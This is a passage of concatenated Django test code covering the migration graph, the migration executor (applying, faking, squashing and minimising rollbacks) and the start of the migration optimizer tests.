        graph.remove_replaced_nodes(
            replacement=("app_a", "0001_squashed_0002"),
            replaced=[("app_a", "0001"), ("app_a", "0002")]
        )
        # Ensure graph is now consistent and dependencies have been remapped
        graph.validate_consistency()
        parent_node = graph.node_map[("app_c", "0001")]
        replacement_node = graph.node_map[("app_a", "0001_squashed_0002")]
        child_node = graph.node_map[("app_b", "0001")]
        self.assertIn(parent_node, replacement_node.parents)
        self.assertIn(replacement_node, parent_node.children)
        self.assertIn(child_node, replacement_node.children)
        self.assertIn(replacement_node, child_node.parents)

    def test_remove_replacement_node(self):
        """
        Tests that a replacement node is properly removed and child dependencies remapped.
        We assume parent dependencies are already correct.
        """
        # Add some dummy nodes to be replaced.
        graph = MigrationGraph()
        graph.add_node(("app_a", "0001"), None)
        graph.add_node(("app_a", "0002"), None)
        graph.add_dependency("app_a.0002", ("app_a", "0002"), ("app_a", "0001"))
        # Try removing replacement node before replacement node exists.
        msg = (
            "Unable to remove replacement node ('app_a', '0001_squashed_0002'). It was"
            " either never added to the migration graph, or has been removed already."
        )
        with self.assertRaisesMessage(NodeNotFoundError, msg):
            graph.remove_replacement_node(
                replacement=("app_a", "0001_squashed_0002"),
                replaced=[("app_a", "0001"), ("app_a", "0002")]
            )
        graph.add_node(("app_a", "0001_squashed_0002"), None)
        # Add a child node to test dependency remapping.
        graph.add_node(("app_b", "0001"), None)
        graph.add_dependency("app_b.0001", ("app_b", "0001"), ("app_a", "0001_squashed_0002"))
        # Remove the replacement node.
        graph.remove_replacement_node(
            replacement=("app_a", "0001_squashed_0002"),
            replaced=[("app_a", "0001"), ("app_a", "0002")]
        )
        # Ensure graph is consistent and child dependency has been remapped
        graph.validate_consistency()
        replaced_node = graph.node_map[("app_a", "0002")]
        child_node = graph.node_map[("app_b", "0001")]
        self.assertIn(child_node, replaced_node.children)
        self.assertIn(replaced_node, child_node.parents)
        # Ensure child dependency hasn't also gotten remapped to the other replaced node.
        other_replaced_node = graph.node_map[("app_a", "0001")]
        self.assertNotIn(child_node, other_replaced_node.children)
        self.assertNotIn(other_replaced_node, child_node.parents)

    def test_infinite_loop(self):
        """
        Tests a complex dependency graph:

        app_a:        0001 <-
                             \
        app_b:        0001 <- x 0002 <-
                       /               \
        app_c:   0001<-  <------------- x 0002

        And apply squashing on app_c.
        """
        graph = MigrationGraph()

        graph.add_node(("app_a", "0001"), None)
        graph.add_node(("app_b", "0001"), None)
        graph.add_node(("app_b", "0002"), None)
        graph.add_node(("app_c", "0001_squashed_0002"), None)

        graph.add_dependency("app_b.0001", ("app_b", "0001"), ("app_c", "0001_squashed_0002"))
        graph.add_dependency("app_b.0002", ("app_b", "0002"), ("app_a", "0001"))
        graph.add_dependency("app_b.0002", ("app_b", "0002"), ("app_b", "0001"))
        graph.add_dependency("app_c.0001_squashed_0002", ("app_c", "0001_squashed_0002"), ("app_b", "0002"))

        with self.assertRaises(CircularDependencyError):
            graph.forwards_plan(("app_c", "0001_squashed_0002"))

    def test_stringify(self):
        graph = MigrationGraph()
        self.assertEqual(force_text(graph), "Graph: 0 nodes, 0 edges")

        graph.add_node(("app_a", "0001"), None)
        graph.add_node(("app_a", "0002"), None)
        graph.add_node(("app_a", "0003"), None)
        graph.add_node(("app_b", "0001"), None)
        graph.add_node(("app_b", "0002"), None)
        graph.add_dependency("app_a.0002", ("app_a", "0002"), ("app_a", "0001"))
        graph.add_dependency("app_a.0003", ("app_a", "0003"), ("app_a", "0002"))
        graph.add_dependency("app_a.0003", ("app_a", "0003"), ("app_b", "0002"))

        self.assertEqual(force_text(graph), "Graph: 5 nodes, 3 edges")
        self.assertEqual(repr(graph), "<MigrationGraph: nodes=5, edges=3>")






from django.apps.registry import apps as global_apps
from django.db import connection
from django.db.migrations.exceptions import InvalidMigrationPlan
from django.db.migrations.executor import MigrationExecutor
from django.db.migrations.graph import MigrationGraph
from django.db.migrations.recorder import MigrationRecorder
from django.db.utils import DatabaseError
from django.test import TestCase, modify_settings, override_settings

from .test_base import MigrationTestBase


@modify_settings(INSTALLED_APPS={'append': 'migrations2'})
class ExecutorTests(MigrationTestBase):
    """
    Tests the migration executor (full end-to-end running).

    Bear in mind that if these are failing you should fix the other
    test failures first, as they may be propagating into here.
    """

    available_apps = ["migrations", "migrations2", "django.contrib.auth", "django.contrib.contenttypes"]

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations"})
    def test_run(self):
        """
        Tests running a simple set of migrations.
        """
        executor = MigrationExecutor(connection)
        # Let's look at the plan first and make sure it's up to scratch
        plan = executor.migration_plan([("migrations", "0002_second")])
        self.assertEqual(
            plan,
            [
                (executor.loader.graph.nodes["migrations", "0001_initial"], False),
                (executor.loader.graph.nodes["migrations", "0002_second"], False),
            ],
        )
        # Were the tables there before?
        self.assertTableNotExists("migrations_author")
        self.assertTableNotExists("migrations_book")
        # Alright, let's try running it
        executor.migrate([("migrations", "0002_second")])
        # Are the tables there now?
        self.assertTableExists("migrations_author")
        self.assertTableExists("migrations_book")
        # Rebuild the graph to reflect the new DB state
        executor.loader.build_graph()
        # Alright, let's undo what we did
        plan = executor.migration_plan([("migrations", None)])
        self.assertEqual(
            plan,
            [
                (executor.loader.graph.nodes["migrations", "0002_second"], True),
                (executor.loader.graph.nodes["migrations", "0001_initial"], True),
            ],
        )
        executor.migrate([("migrations", None)])
        # Are the tables gone?
        self.assertTableNotExists("migrations_author")
        self.assertTableNotExists("migrations_book")

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations_squashed"})
    def test_run_with_squashed(self):
        """
        Tests running a squashed migration from zero (should ignore what it replaces)
        """
        executor = MigrationExecutor(connection)
        # Check our leaf node is the squashed one
        leaves = [key for key in executor.loader.graph.leaf_nodes() if key[0] == "migrations"]
        self.assertEqual(leaves, [("migrations", "0001_squashed_0002")])
        # Check the plan
        plan = executor.migration_plan([("migrations", "0001_squashed_0002")])
        self.assertEqual(
            plan,
            [
                (executor.loader.graph.nodes["migrations", "0001_squashed_0002"], False),
            ],
        )
        # Were the tables there before?
        self.assertTableNotExists("migrations_author")
        self.assertTableNotExists("migrations_book")
        # Alright, let's try running it
        executor.migrate([("migrations", "0001_squashed_0002")])
        # Are the tables there now?
        self.assertTableExists("migrations_author")
        self.assertTableExists("migrations_book")
        # Rebuild the graph to reflect the new DB state
        executor.loader.build_graph()
        # Alright, let's undo what we did. Should also just use squashed.
        plan = executor.migration_plan([("migrations", None)])
        self.assertEqual(
            plan,
            [
                (executor.loader.graph.nodes["migrations", "0001_squashed_0002"], True),
            ],
        )
        executor.migrate([("migrations", None)])
        # Are the tables gone?
        self.assertTableNotExists("migrations_author")
        self.assertTableNotExists("migrations_book")

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations_non_atomic"})
    def test_non_atomic_migration(self):
        """
        Applying a non-atomic migration works as expected.
        """
        executor = MigrationExecutor(connection)
        with self.assertRaisesMessage(RuntimeError, "Abort migration"):
            executor.migrate([("migrations", "0001_initial")])
        self.assertTableExists("migrations_publisher")
        migrations_apps = executor.loader.project_state(("migrations", "0001_initial")).apps
        Publisher = migrations_apps.get_model("migrations", "Publisher")
        self.assertTrue(Publisher.objects.exists())
        self.assertTableNotExists("migrations_book")

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations_atomic_operation"})
    def test_atomic_operation_in_non_atomic_migration(self):
        """
        An atomic operation is properly rolled back inside a non-atomic
        migration.
        """
        executor = MigrationExecutor(connection)
        with self.assertRaisesMessage(RuntimeError, "Abort migration"):
            executor.migrate([("migrations", "0001_initial")])
        migrations_apps = executor.loader.project_state(("migrations", "0001_initial")).apps
        Editor = migrations_apps.get_model("migrations", "Editor")
        self.assertFalse(Editor.objects.exists())

    @override_settings(MIGRATION_MODULES={
        "migrations": "migrations.test_migrations",
        "migrations2": "migrations2.test_migrations_2",
    })
    def test_empty_plan(self):
        """
        Tests that re-planning a full migration of a fully-migrated set doesn't
        perform spurious unmigrations and remigrations.

        There was previously a bug where the executor just always performed the
        backwards plan for applied migrations - which even for the most recent
        migration in an app, might include other, dependent apps, and these
        were being unmigrated.
        """
        # Make the initial plan, check it
        executor = MigrationExecutor(connection)
        plan = executor.migration_plan([
            ("migrations", "0002_second"),
            ("migrations2", "0001_initial"),
        ])
        self.assertEqual(
            plan,
            [
                (executor.loader.graph.nodes["migrations", "0001_initial"], False),
                (executor.loader.graph.nodes["migrations", "0002_second"], False),
                (executor.loader.graph.nodes["migrations2", "0001_initial"], False),
            ],
        )
        # Fake-apply all migrations
        executor.migrate([
            ("migrations", "0002_second"),
            ("migrations2", "0001_initial")
        ], fake=True)
        # Rebuild the graph to reflect the new DB state
        executor.loader.build_graph()
        # Now plan a second time and make sure it's empty
        plan = executor.migration_plan([
            ("migrations", "0002_second"),
            ("migrations2", "0001_initial"),
        ])
        self.assertEqual(plan, [])
        # Erase all the fake records
        executor.recorder.record_unapplied("migrations2", "0001_initial")
        executor.recorder.record_unapplied("migrations", "0002_second")
        executor.recorder.record_unapplied("migrations", "0001_initial")

    @override_settings(MIGRATION_MODULES={
        "migrations": "migrations.test_migrations",
        "migrations2": "migrations2.test_migrations_2_no_deps",
    })
    def test_mixed_plan_not_supported(self):
        """
        Although the MigrationExecutor interfaces allows for mixed migration
        plans (combined forwards and backwards migrations) this is not
        supported.
        """
        # Prepare for mixed plan
        executor = MigrationExecutor(connection)
        plan = executor.migration_plan([("migrations", "0002_second")])
        self.assertEqual(
            plan,
            [
                (executor.loader.graph.nodes["migrations", "0001_initial"], False),
                (executor.loader.graph.nodes["migrations", "0002_second"], False),
            ],
        )
        executor.migrate(None, plan)
        # Rebuild the graph to reflect the new DB state
        executor.loader.build_graph()
        self.assertIn(('migrations', '0001_initial'), executor.loader.applied_migrations)
        self.assertIn(('migrations', '0002_second'), executor.loader.applied_migrations)
        self.assertNotIn(('migrations2', '0001_initial'), executor.loader.applied_migrations)

        # Generate mixed plan
        plan = executor.migration_plan([
            ("migrations", None),
            ("migrations2", "0001_initial"),
        ])
        msg = (
            'Migration plans with both forwards and backwards migrations are '
            'not supported. Please split your migration process into separate '
            'plans of only forwards OR backwards migrations.'
        )
        with self.assertRaisesMessage(InvalidMigrationPlan, msg) as cm:
            executor.migrate(None, plan)
        self.assertEqual(
            cm.exception.args[1],
            [
                (executor.loader.graph.nodes["migrations", "0002_second"], True),
                (executor.loader.graph.nodes["migrations", "0001_initial"], True),
                (executor.loader.graph.nodes["migrations2", "0001_initial"], False),
            ],
        )
        # Rebuild the graph to reflect the new DB state
        executor.loader.build_graph()
        executor.migrate([
            ("migrations", None),
            ("migrations2", None),
        ])
        # Are the tables gone?
        self.assertTableNotExists("migrations_author")
        self.assertTableNotExists("migrations_book")
        self.assertTableNotExists("migrations2_otherauthor")

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations"})
    def test_soft_apply(self):
        """
        Tests detection of initial migrations already having been applied.
        """
        state = {"faked": None}

        def fake_storer(phase, migration=None, fake=None):
            state["faked"] = fake
        executor = MigrationExecutor(connection, progress_callback=fake_storer)
        # Were the tables there before?
        self.assertTableNotExists("migrations_author")
        self.assertTableNotExists("migrations_tribble")
        # Run it normally
        self.assertEqual(
            executor.migration_plan([("migrations", "0001_initial")]),
            [
                (executor.loader.graph.nodes["migrations", "0001_initial"], False),
            ],
        )
        executor.migrate([("migrations", "0001_initial")])
        # Are the tables there now?
        self.assertTableExists("migrations_author")
        self.assertTableExists("migrations_tribble")
        # We shouldn't have faked that one
        self.assertIs(state["faked"], False)
        # Rebuild the graph to reflect the new DB state
        executor.loader.build_graph()
        # Fake-reverse that
        executor.migrate([("migrations", None)], fake=True)
        # Are the tables still there?
        self.assertTableExists("migrations_author")
        self.assertTableExists("migrations_tribble")
        # Make sure that was faked
        self.assertIs(state["faked"], True)
        # Finally, migrate forwards; this should fake-apply our initial migration
        executor.loader.build_graph()
        self.assertEqual(
            executor.migration_plan([("migrations", "0001_initial")]),
            [
                (executor.loader.graph.nodes["migrations", "0001_initial"], False),
            ],
        )
        # Applying the migration should raise a database level error
        # because we haven't given the --fake-initial option
        with self.assertRaises(DatabaseError):
            executor.migrate([("migrations", "0001_initial")])
        # Reset the faked state
        state = {"faked": None}
        # Allow faking of initial CreateModel operations
        executor.migrate([("migrations", "0001_initial")], fake_initial=True)
        self.assertIs(state["faked"], True)
        # And migrate back to clean up the database
        executor.loader.build_graph()
        executor.migrate([("migrations", None)])
        self.assertTableNotExists("migrations_author")
        self.assertTableNotExists("migrations_tribble")

    @override_settings(
        MIGRATION_MODULES={
            "migrations": "migrations.test_migrations_custom_user",
            "django.contrib.auth": "django.contrib.auth.migrations",
        },
        AUTH_USER_MODEL="migrations.Author",
    )
    def test_custom_user(self):
        """
        Regression test for #22325 - references to a custom user model defined in the
        same app are not resolved correctly.
        """
        executor = MigrationExecutor(connection)
        self.assertTableNotExists("migrations_author")
        self.assertTableNotExists("migrations_tribble")
        # Migrate forwards
        executor.migrate([("migrations", "0001_initial")])
        self.assertTableExists("migrations_author")
        self.assertTableExists("migrations_tribble")
        # Make sure the soft-application detection works (#23093)
        # Change table_names to not return auth_user during this as
        # it wouldn't be there in a normal run, and ensure migrations.Author
        # exists in the global app registry temporarily.
        old_table_names = connection.introspection.table_names
        connection.introspection.table_names = lambda c: [x for x in old_table_names(c) if x != "auth_user"]
        migrations_apps = executor.loader.project_state(("migrations", "0001_initial")).apps
        global_apps.get_app_config("migrations").models["author"] = migrations_apps.get_model("migrations", "author")
        try:
            migration = executor.loader.get_migration("auth", "0001_initial")
            self.assertIs(executor.detect_soft_applied(None, migration)[0], True)
        finally:
            connection.introspection.table_names = old_table_names
            del global_apps.get_app_config("migrations").models["author"]
        # And migrate back to clean up the database
        executor.loader.build_graph()
        executor.migrate([("migrations", None)])
        self.assertTableNotExists("migrations_author")
        self.assertTableNotExists("migrations_tribble")

    @override_settings(
        MIGRATION_MODULES={
            "migrations": "migrations.test_add_many_to_many_field_initial",
        },
    )
    def test_detect_soft_applied_add_field_manytomanyfield(self):
        """
        executor.detect_soft_applied() detects ManyToManyField tables from an
        AddField operation. This checks the case of AddField in a migration
        with other operations (0001) and the case of AddField in its own
        migration (0002).
        """
        tables = [
            # from 0001
            "migrations_project",
            "migrations_task",
            "migrations_project_tasks",
            # from 0002
            "migrations_task_projects",
        ]
        executor = MigrationExecutor(connection)
        # Create the tables for 0001 but make it look like the migration hasn't
        # been applied.
        executor.migrate([("migrations", "0001_initial")])
        executor.migrate([("migrations", None)], fake=True)
        for table in tables[:3]:
            self.assertTableExists(table)
        # Table detection sees 0001 is applied but not 0002.
        migration = executor.loader.get_migration("migrations", "0001_initial")
        self.assertIs(executor.detect_soft_applied(None, migration)[0], True)
        migration = executor.loader.get_migration("migrations", "0002_initial")
        self.assertIs(executor.detect_soft_applied(None, migration)[0], False)

        # Create the tables for both migrations but make it look like neither
        # has been applied.
        executor.loader.build_graph()
        executor.migrate([("migrations", "0001_initial")], fake=True)
        executor.migrate([("migrations", "0002_initial")])
        executor.loader.build_graph()
        executor.migrate([("migrations", None)], fake=True)
        # Table detection sees 0002 is applied.
        migration = executor.loader.get_migration("migrations", "0002_initial")
        self.assertIs(executor.detect_soft_applied(None, migration)[0], True)

        # Leave the tables for 0001 except the many-to-many table. That missing
        # table should cause detect_soft_applied() to return False.
        with connection.schema_editor() as editor:
            for table in tables[2:]:
                editor.execute(editor.sql_delete_table % {"table": table})
        migration = executor.loader.get_migration("migrations", "0001_initial")
        self.assertIs(executor.detect_soft_applied(None, migration)[0], False)

        # Cleanup by removing the remaining tables.
        with connection.schema_editor() as editor:
            for table in tables[:2]:
                editor.execute(editor.sql_delete_table % {"table": table})
        for table in tables:
            self.assertTableNotExists(table)

    @override_settings(
        INSTALLED_APPS=[
            "migrations.migrations_test_apps.lookuperror_a",
            "migrations.migrations_test_apps.lookuperror_b",
            "migrations.migrations_test_apps.lookuperror_c"
        ]
    )
    def test_unrelated_model_lookups_forwards(self):
        """
        #24123 - Tests that all models of apps already applied which are
        unrelated to the first app being applied are part of the initial model
        state.
        """
        try:
            executor = MigrationExecutor(connection)
            self.assertTableNotExists("lookuperror_a_a1")
            self.assertTableNotExists("lookuperror_b_b1")
            self.assertTableNotExists("lookuperror_c_c1")
            executor.migrate([("lookuperror_b", "0003_b3")])
            self.assertTableExists("lookuperror_b_b3")
            # Rebuild the graph to reflect the new DB state
            executor.loader.build_graph()

            # Migrate forwards -- This led to a lookup LookupErrors because
            # lookuperror_b.B2 is already applied
            executor.migrate([
                ("lookuperror_a", "0004_a4"),
                ("lookuperror_c", "0003_c3"),
            ])
            self.assertTableExists("lookuperror_a_a4")
            self.assertTableExists("lookuperror_c_c3")

            # Rebuild the graph to reflect the new DB state
            executor.loader.build_graph()
        finally:
            # Cleanup
            executor.migrate([
                ("lookuperror_a", None),
                ("lookuperror_b", None),
                ("lookuperror_c", None),
            ])
            self.assertTableNotExists("lookuperror_a_a1")
            self.assertTableNotExists("lookuperror_b_b1")
            self.assertTableNotExists("lookuperror_c_c1")

    @override_settings(
        INSTALLED_APPS=[
            "migrations.migrations_test_apps.lookuperror_a",
            "migrations.migrations_test_apps.lookuperror_b",
            "migrations.migrations_test_apps.lookuperror_c"
        ]
    )
    def test_unrelated_model_lookups_backwards(self):
        """
        #24123 - Tests that all models of apps being unapplied which are
        unrelated to the first app being unapplied are part of the initial
        model state.
        """
        try:
            executor = MigrationExecutor(connection)
            self.assertTableNotExists("lookuperror_a_a1")
            self.assertTableNotExists("lookuperror_b_b1")
            self.assertTableNotExists("lookuperror_c_c1")
            executor.migrate([
                ("lookuperror_a", "0004_a4"),
                ("lookuperror_b", "0003_b3"),
                ("lookuperror_c", "0003_c3"),
            ])
            self.assertTableExists("lookuperror_b_b3")
            self.assertTableExists("lookuperror_a_a4")
            self.assertTableExists("lookuperror_c_c3")
            # Rebuild the graph to reflect the new DB state
            executor.loader.build_graph()

            # Migrate backwards -- This led to a lookup LookupErrors because
            # lookuperror_b.B2 is not in the initial state (unrelated to app c)
            executor.migrate([("lookuperror_a", None)])

            # Rebuild the graph to reflect the new DB state
            executor.loader.build_graph()
        finally:
            # Cleanup
            executor.migrate([
                ("lookuperror_b", None),
                ("lookuperror_c", None)
            ])
            self.assertTableNotExists("lookuperror_a_a1")
            self.assertTableNotExists("lookuperror_b_b1")
            self.assertTableNotExists("lookuperror_c_c1")

    @override_settings(
        INSTALLED_APPS=[
            'migrations.migrations_test_apps.mutate_state_a',
            'migrations.migrations_test_apps.mutate_state_b',
        ]
    )
    def test_unrelated_applied_migrations_mutate_state(self):
        """
        #26647 - Unrelated applied migrations should be part of the final
        state in both directions.
        """
        executor = MigrationExecutor(connection)
        executor.migrate([
            ('mutate_state_b', '0002_add_field'),
        ])
        # Migrate forward.
        executor.loader.build_graph()
        state = executor.migrate([
            ('mutate_state_a', '0001_initial'),
        ])
        self.assertIn('added', dict(state.models['mutate_state_b', 'b'].fields))
        executor.loader.build_graph()
        # Migrate backward.
        state = executor.migrate([
            ('mutate_state_a', None),
        ])
        self.assertIn('added', dict(state.models['mutate_state_b', 'b'].fields))

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations"})
    def test_process_callback(self):
        """
        #24129 - Tests callback process
        """
        call_args_list = []

        def callback(*args):
            call_args_list.append(args)

        executor = MigrationExecutor(connection, progress_callback=callback)
        # Were the tables there before?
        self.assertTableNotExists("migrations_author")
        self.assertTableNotExists("migrations_tribble")
        executor.migrate([
            ("migrations", "0001_initial"),
            ("migrations", "0002_second"),
        ])
        # Rebuild the graph to reflect the new DB state
        executor.loader.build_graph()

        executor.migrate([
            ("migrations", None),
            ("migrations", None),
        ])
        self.assertTableNotExists("migrations_author")
        self.assertTableNotExists("migrations_tribble")

        migrations = executor.loader.graph.nodes
        expected = [
            ("render_start", ),
            ("render_success", ),
            ("apply_start", migrations['migrations', '0001_initial'], False),
            ("apply_success", migrations['migrations', '0001_initial'], False),
            ("apply_start", migrations['migrations', '0002_second'], False),
            ("apply_success", migrations['migrations', '0002_second'], False),
            ("render_start", ),
            ("render_success", ),
            ("unapply_start", migrations['migrations', '0002_second'], False),
            ("unapply_success", migrations['migrations', '0002_second'], False),
            ("unapply_start", migrations['migrations', '0001_initial'], False),
            ("unapply_success", migrations['migrations', '0001_initial'], False),
        ]
        self.assertEqual(call_args_list, expected)

    @override_settings(
        INSTALLED_APPS=[
            "migrations.migrations_test_apps.alter_fk.author_app",
            "migrations.migrations_test_apps.alter_fk.book_app",
        ]
    )
    def test_alter_id_type_with_fk(self):
        try:
            executor = MigrationExecutor(connection)
            self.assertTableNotExists("author_app_author")
            self.assertTableNotExists("book_app_book")
            # Apply initial migrations
            executor.migrate([
                ("author_app", "0001_initial"),
                ("book_app", "0001_initial"),
            ])
            self.assertTableExists("author_app_author")
            self.assertTableExists("book_app_book")
            # Rebuild the graph to reflect the new DB state
            executor.loader.build_graph()

            # Apply PK type alteration
            executor.migrate([("author_app", "0002_alter_id")])

            # Rebuild the graph to reflect the new DB state
            executor.loader.build_graph()
        finally:
            # We can't simply unapply the migrations here because there is no
            # implicit cast from VARCHAR to INT on the database level.
            with connection.schema_editor() as editor:
                editor.execute(editor.sql_delete_table % {"table": "book_app_book"})
                editor.execute(editor.sql_delete_table % {"table": "author_app_author"})
            self.assertTableNotExists("author_app_author")
            self.assertTableNotExists("book_app_book")

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations_squashed"})
    def test_apply_all_replaced_marks_replacement_as_applied(self):
        """
        Applying all replaced migrations marks replacement as applied (#24628).
        """
        recorder = MigrationRecorder(connection)
        # Place the database in a state where the replaced migrations are
        # partially applied: 0001 is applied, 0002 is not.
        recorder.record_applied("migrations", "0001_initial")
        executor = MigrationExecutor(connection)
        # Use fake because we don't actually have the first migration
        # applied, so the second will fail. And there's no need to actually
        # create/modify tables here, we're just testing the
        # MigrationRecord, which works the same with or without fake.
        executor.migrate([("migrations", "0002_second")], fake=True)

        # Because we've now applied 0001 and 0002 both, their squashed
        # replacement should be marked as applied.
        self.assertIn(
            ("migrations", "0001_squashed_0002"),
            recorder.applied_migrations(),
        )

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations_squashed"})
    def test_migrate_marks_replacement_applied_even_if_it_did_nothing(self):
        """
        A new squash migration will be marked as applied even if all its
        replaced migrations were previously already applied (#24628).
        """
        recorder = MigrationRecorder(connection)
        # Record all replaced migrations as applied
        recorder.record_applied("migrations", "0001_initial")
        recorder.record_applied("migrations", "0002_second")
        executor = MigrationExecutor(connection)
        executor.migrate([("migrations", "0001_squashed_0002")])

        # Because 0001 and 0002 are both applied, even though this migrate run
        # didn't apply anything new, their squashed replacement should be
        # marked as applied.
        self.assertIn(
            ("migrations", "0001_squashed_0002"),
            recorder.applied_migrations(),
        )


class FakeLoader(object):
    def __init__(self, graph, applied):
        self.graph = graph
        self.applied_migrations = applied


class FakeMigration(object):
    """Really all we need is any object with a debug-useful repr."""
    def __init__(self, name):
        self.name = name

    def __repr__(self):
        return 'M<%s>' % self.name


class ExecutorUnitTests(TestCase):
    """(More) isolated unit tests for executor methods."""
    def test_minimize_rollbacks(self):
        """
        Minimize unnecessary rollbacks in connected apps.

        When you say "./manage.py migrate appA 0001", rather than migrating to
        just after appA-0001 in the linearized migration plan (which could roll
        back migrations in other apps that depend on appA 0001, but don't need
        to be rolled back since we're not rolling back appA 0001), we migrate
        to just before appA-0002.
        """
        a1_impl = FakeMigration('a1')
        a1 = ('a', '1')
        a2_impl = FakeMigration('a2')
        a2 = ('a', '2')
        b1_impl = FakeMigration('b1')
        b1 = ('b', '1')
        graph = MigrationGraph()
        graph.add_node(a1, a1_impl)
        graph.add_node(a2, a2_impl)
        graph.add_node(b1, b1_impl)
        graph.add_dependency(None, b1, a1)
        graph.add_dependency(None, a2, a1)

        executor = MigrationExecutor(None)
        executor.loader = FakeLoader(graph, {a1, b1, a2})

        plan = executor.migration_plan({a1})

        self.assertEqual(plan, [(a2_impl, True)])

    def test_minimize_rollbacks_branchy(self):
        """
        Minimize rollbacks when target has multiple in-app children.

        a: 1 <---- 3 <--\
              \ \- 2 <--- 4
               \       \
        b:      \- 1 <--- 2
        """
        a1_impl = FakeMigration('a1')
        a1 = ('a', '1')
        a2_impl = FakeMigration('a2')
        a2 = ('a', '2')
        a3_impl = FakeMigration('a3')
        a3 = ('a', '3')
        a4_impl = FakeMigration('a4')
        a4 = ('a', '4')
        b1_impl = FakeMigration('b1')
        b1 = ('b', '1')
        b2_impl = FakeMigration('b2')
        b2 = ('b', '2')
        graph = MigrationGraph()
        graph.add_node(a1, a1_impl)
        graph.add_node(a2, a2_impl)
        graph.add_node(a3, a3_impl)
        graph.add_node(a4, a4_impl)
        graph.add_node(b1, b1_impl)
        graph.add_node(b2, b2_impl)
        graph.add_dependency(None, a2, a1)
        graph.add_dependency(None, a3, a1)
        graph.add_dependency(None, a4, a2)
        graph.add_dependency(None, a4, a3)
        graph.add_dependency(None, b2, b1)
        graph.add_dependency(None, b1, a1)
        graph.add_dependency(None, b2, a2)

        executor = MigrationExecutor(None)
        executor.loader = FakeLoader(graph, {a1, b1, a2, b2, a3, a4})

        plan = executor.migration_plan({a1})

        should_be_rolled_back = [b2_impl, a4_impl, a2_impl, a3_impl]
        exp = [(m, True) for m in should_be_rolled_back]
        self.assertEqual(plan, exp)

    def test_backwards_nothing_to_do(self):
        """
        If the current state satisfies the given target, do nothing.

        a: 1 <--- 2
        b:    \- 1
        c:     \- 1

        If a1 is applied already and a2 is not, and we're asked to migrate to
        a1, don't apply or unapply b1 or c1, regardless of their current state.
        """
        a1_impl = FakeMigration('a1')
        a1 = ('a', '1')
        a2_impl = FakeMigration('a2')
        a2 = ('a', '2')
        b1_impl = FakeMigration('b1')
        b1 = ('b', '1')
        c1_impl = FakeMigration('c1')
        c1 = ('c', '1')
        graph = MigrationGraph()
        graph.add_node(a1, a1_impl)
        graph.add_node(a2, a2_impl)
        graph.add_node(b1, b1_impl)
        graph.add_node(c1, c1_impl)
        graph.add_dependency(None, a2, a1)
        graph.add_dependency(None, b1, a1)
        graph.add_dependency(None, c1, a1)

        executor = MigrationExecutor(None)
        executor.loader = FakeLoader(graph, {a1, b1})

        plan = executor.migration_plan({a1})

        self.assertEqual(plan, [])






# -*- coding: utf-8 -*-

from django.db import migrations, models
from django.db.migrations import operations
from django.db.migrations.optimizer import MigrationOptimizer
from django.test import SimpleTestCase

from .models import EmptyManager, UnicodeModel


class OptimizerTests(SimpleTestCase):
    """
    Tests the migration autodetector.
    """

    def optimize(self, operations, app_label):
        """
        Handy shortcut for getting results + number of loops
        """
        optimizer = MigrationOptimizer()
        return optimizer.optimize(operations, app_label), optimizer._iterations

    def assertOptimizesTo(self, operations, expected, exact=None, less_than=None, app_label=None):
        result, iterations = self.optimize(operations, app_label)
        result = [repr(f.deconstruct()) for f in result]
        expected = [repr(f.deconstruct()) for f in expected]
        self.assertEqual(expected, result)
        if exact is not None and iterations != exact:
            raise self.failureException(
                "Optimization did not take exactly %s iterations (it took %s)" % (exact, iterations)
            )
        if less_than is not None and iterations >= less_than:
            raise self.failureException(
                "Optimization did not take less than %s iterations (it took %s)" % (less_than, iterations)
            )

    def assertDoesNotOptimize(self, operations, **kwargs):
        self.assertOptimizesTo(operations, operations, **kwargs)

    def test_single(self):
        """
        Tests that the optimizer does nothing on a single operation,
        and that it does it in just one pass.
        """
        self.assertOptimizesTo(
            [migrations.DeleteModel("Foo")],
            [migrations.DeleteModel("Foo")],
            exact=1,
        )

    def test_create_delete_model(self):
        """
        CreateModel and DeleteModel should collapse into nothing.
        """
        self.assertOptimizesTo(
            [
                migrations.CreateModel("Foo", [("name", models.CharField(max_length=255))]),
                migrations.DeleteModel("Foo"),
            ],
            [],
        )

    def test_create_rename_model(self):
        """
        CreateModel should absorb RenameModels.
        """
        managers = [('objects', EmptyManager())]
        self.assertOptimizesTo(
            [
                migrations.CreateModel(
                    name="Foo",
                    fields=[("name", models.CharField(max_length=255))],
                    options={'verbose_name': 'Foo'},
                    bases=(UnicodeModel,),
                    managers=managers,
                ),
                migrations.RenameModel("Foo", "Bar"),
            ],
            [
                migrations.CreateModel(
                    "Bar",
                    [("name", models.CharField(max_length=255))],
                    options={'verbose_name': 'Foo'},
                    bases=(UnicodeModel,),
                    managers=managers,
                )
            ],
        )

    def test_rename_model_self(self):
        """
        RenameModels should absorb themselves.
        """
        self.assertOptimizesTo(
            [
                migrations.RenameModel("Foo", "Baa"),
                migrations.RenameModel("Baa", "Bar"),
            ],
            [
                migrations.RenameModel("Foo", "Bar"),
            ],
        )

    def _test_create_alter_foo_delete_model(self, alter_foo):
        """
        CreateModel, AlterModelTable, AlterUniqueTogether/AlterIndexTogether/
        AlterOrderWithRespectTo, and DeleteModel should collapse into nothing.
        """
        self.assertOptimizesTo(
            [
                migrations.CreateModel("Foo", [("name", models.CharField(max_length=255))]),
                migrations.AlterModelTable("Foo", "woohoo"),
                alter_foo,
                migrations.DeleteModel("Foo"),
            ],
            [],
        )

    def test_create_alter_unique_delete_model(self):
        self._test_create_alter_foo_delete_model(migrations.AlterUniqueTogether("Foo", [["a", "b"]]))

    def test_create_alter_index_delete_model(self):
        self._test_create_alter_foo_delete_model(migrations.AlterIndexTogether("Foo", [["a", "b"]]))

    def test_create_alter_owrt_delete_model(self):
        self._test_create_alter_foo_delete_model(migrations.AlterOrderWithRespectTo("Foo", "a"))

    def _test_alter_alter_model(self, alter_foo, alter_bar):
        """
        Two AlterUniqueTogether/AlterIndexTogether/AlterOrderWithRespectTo
        should collapse into the second.
        """
        self.assertOptimizesTo(
            [
                alter_foo,
                alter_bar,
            ],
            [
                alter_bar,
            ],
        )

    def test_alter_alter_table_model(self):
